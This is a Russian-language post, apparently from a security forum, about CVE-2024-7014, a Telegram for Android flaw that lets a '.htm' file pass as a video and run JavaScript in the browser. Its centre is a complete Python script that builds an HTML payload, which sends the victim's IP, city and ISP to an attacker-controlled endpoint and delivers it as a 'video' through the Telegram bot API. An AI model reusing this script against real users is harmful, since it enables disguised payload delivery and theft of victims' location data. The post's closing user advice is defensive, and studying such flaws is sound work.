Исследователи выявили эксплойт, связанный с уязвимостью CVE-2024-7014, в котором злоумышленники используют Telegram API для распространения вредоносного кода. Файл с расширением ".htm" маскируется под видео, а при попытке его открытия выполняется вредоносный JavaScript-код.
Этот код создает HTML-файл, содержащий вредоносный JavaScript, и отправляет его через Telegram как "видео". При открытии такого файла на Android устройство выполняет вредоносный код, а данные жертвы передаются атакующему.
Посмотреть вложение telegramexploitvideo.mp4
Источник
Технические детали
Evilloader – это загрузчик, позволяющий атакующим скачивать и исполнять дополнительные вредоносные файлы на устройствах жертв. В обновленной версии этого модуля усилены механизмы противодействия анализу. В данном сценарии вредоносная HTML-страница сначала перенаправляет жертву на фальшивую страницу загрузки "Play Protect", затем отправляет ее IP-адрес атакующему.Описание уязвимости
Основной причиной проблемы является то, что файлы с расширением ".htm", отправленные через серверы Telegram, могут восприниматься как видео. Открывая такой файл, пользователь фактически запускает HTML-код в браузере через путь:
Код:
content://org.telegram.messenger.provider/media/Android/data/org.telegram.messenger/files/Telegram/Telegram%20Video/4_5924894289476721732.htm
Как работает атака
- Жертве отправляется файл ".htm", замаскированный под видео.
- При попытке открыть его в видеоплеере система может перенаправить его в браузер.
- В браузере запускается JavaScript, который:
- Регистрирует IP-адрес жертвы и отправляет его атакующему.
- Перенаправляет на вредоносную страницу.
Пример кода атаки
Злоумышленники могут использовать следующий код на Python для отправки вредоносного файла через Telegram API:
Python:
import requests
BOT_TOKEN = "your_bot_token"
CHAT_ID = "your_chat_id"
html_content = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script>
fetch('http://ip-api.com/json')
.then(response => response.json())
.then(data => {
fetch('http://192.168.137.1:5000/log_ip', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
ip: data.query,
country: data.country,
region: data.regionName,
city: data.city,
isp: data.isp
})
});
})
.catch(error => console.error('Error fetching IP:', error));
</script>
</head>
<body>
</body>
</html>
"""
html_path = "testv.mp4"
with open(html_path, "w") as file:
file.write(html_content)
files = {
"video": (
"a.htm",
open(html_path, "rb"),
"video/mp4"
)
}
url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendVideo"
data = {"chat_id": CHAT_ID, "supports_streaming": False}
response = requests.post(url, data=data, files=files)
if response.status_code == 200:
print("message send")
else:
print(f"error: {response.text}")
Этот код создает HTML-файл, содержащий вредоносный JavaScript, и отправляет его через Telegram как "видео". При открытии такого файла на Android устройство выполняет вредоносный код, а данные жертвы передаются атакующему.
Посмотреть вложение telegramexploitvideo.mp4
Выводы
Эта уязвимость подчеркивает необходимость осторожности при открытии файлов, полученных через мессенджеры, даже если они выглядят как безобидное видео. Пользователям рекомендуется не запускать подозрительные файлы и использовать актуальные версии программного обеспечения для защиты от подобных атак.Источник